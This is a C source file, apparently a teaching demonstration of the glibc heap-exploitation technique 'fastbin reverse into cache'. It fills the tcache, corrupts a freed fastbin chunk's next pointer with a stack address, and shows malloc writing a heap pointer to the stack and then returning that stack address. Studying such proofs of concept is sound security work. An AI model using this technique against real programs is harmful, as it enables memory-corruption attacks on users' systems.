#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <assert.h>

const size_t allocsize = 0x40;

int main(){
  fprintf(
    stderr,
    "\n"
    "This attack is intended to have a similar effect to the unsorted_bin_attack,\n"
    "except it works with a small allocation size (allocsize <= 0x78).\n"
    "The goal is to set things up so that a call to malloc(allocsize) will write\n"
    "a large unsigned value to the stack.\n\n"
  );

  // Allocate 9 times so that we can free later.
  char* ptrs[9];
  size_t i;
  for (i = 0; i < 9; i++) {
    ptrs[i] = malloc(allocsize);
  }

  fprintf(
    stderr,
    "First we need to free(allocsize) at least 7 times to fill the tcache.\n"
    "(More than 7 times works fine too.)\n\n"
  );

  // Fill the tcache.
  for (i = 0; i < 7; i++) {
    free(ptrs[i]);
  }

  char* p = ptrs[7];
  fprintf(
    stderr,
    "The next pointer that we free is the chunk that we're going to corrupt: %p\n"
    "It doesn't matter if we corrupt it now or later. Because the tcache is\n"
    "already full, it will go in the fastbin.\n\n",
    p
  );
  free(p);

  fprintf(
    stderr,
    "Next we need to free between 1 and 6 more pointers. These will also go\n"
    "in the fastbin. This is version A of \"fastbin reverse into cache\", in\n"
    "which the stack address that we want to overwrite is zero, which gives\n"
    "us more flexibility. In version B, we will have to free exactly 6\n"
    "pointers.\n"
    "\n"
  );

  // Free one more pointer.
  free(ptrs[8]);

  // The "fastbin reverse into cache" technique only works if there are no
  // calls to malloc_consolidate while we have chunks in the fastbin,
  // because malloc_consolidate empties the fastbin. Any large allocation
  // will trigger malloc_consolidate. For example, uncommenting this large
  // allocation breaks the demo:
#if 0
  malloc(0x410);
#endif

  // Create an array on the stack and initialize it with garbage,
  // except for the address which we want to overwrite, which
  // needs to be zero.
  size_t stack_var[6];
  memset(stack_var, 0xcd, sizeof(stack_var));
  stack_var[2] = 0;

  fprintf(
    stderr,
    "The stack address that we intend to target: %p\n"
    "It's current value is %p\n",
    &stack_var[2],
    (char*)stack_var[2]
  );

  fprintf(
    stderr,
    "Now we use a vulnerability such as a buffer overflow or a use-after-free\n"
    "to overwrite the next pointer at address %p\n\n",
    p
  );

  //------------VULNERABILITY-----------

  // Overwrite linked list pointer in p.
  *(size_t**)p = &stack_var[0];

  //------------------------------------

  fprintf(
    stderr,
    "The next step is to malloc(allocsize) 7 times to empty the tcache.\n\n"
  );

  // Empty tcache.
  for (i = 0; i < 7; i++) {
    ptrs[i] = malloc(allocsize);
  }

  fprintf(
    stderr,
    "Let's just print the contents of our array on the stack now,\n"
    "to show that it hasn't been modified yet.\n\n"
  );

  for (i = 0; i < 6; i++) {
    fprintf(stderr, "%p: %p\n", &stack_var[i], (char*)stack_var[i]);
  }

  fprintf(
    stderr,
    "\n"
    "The next allocation triggers the stack to be overwritten. The tcache\n"
    "is empty, but the fastbin isn't, so the next allocation comes from the\n"
    "fastbin. Also, up to 7 more fastbin chunks are used to refill the tcache.\n"
    "Those fastbin chunks are copied in reverse order into the tcache, so the stack\n"
    "address that we are targeting ends up being the first chunk in the tcache.\n"
    "It contains a pointer to the next chunk in the list, which is why a heap\n"
    "pointer is written to the stack.\n"
    "\n"
    "The contents of our array on the stack now look like this:\n\n"
  );

  malloc(allocsize);

  for (i = 0; i < 6; i++) {
    fprintf(stderr, "%p: %p\n", &stack_var[i], (char*)stack_var[i]);
  }

  assert(stack_var[2] != 0);
  assert((char*)stack_var[2] == p);

  char *q = malloc(allocsize);
  fprintf(
    stderr,
    "\n"
    "Finally, if we malloc one more time then we get the stack address back: %p\n"
    "\n",
    q
  );
  assert(q == (char*)&stack_var[2]);

  fprintf(
    stderr,
    "Version A of \"fastbin reverse into cache\" does not leave the allocator\n"
    "in a corrupted state. Let's prove this by allocating 0x500 bytes.\n"
    "If the allocator was corrupted then this would cause a crash.\n"
    "\n"
  );
  char* r = malloc(0x500);
  fprintf(
    stderr,
    "Success!\n"
    "r = %p\n",
    r
  );

  return 0;
}
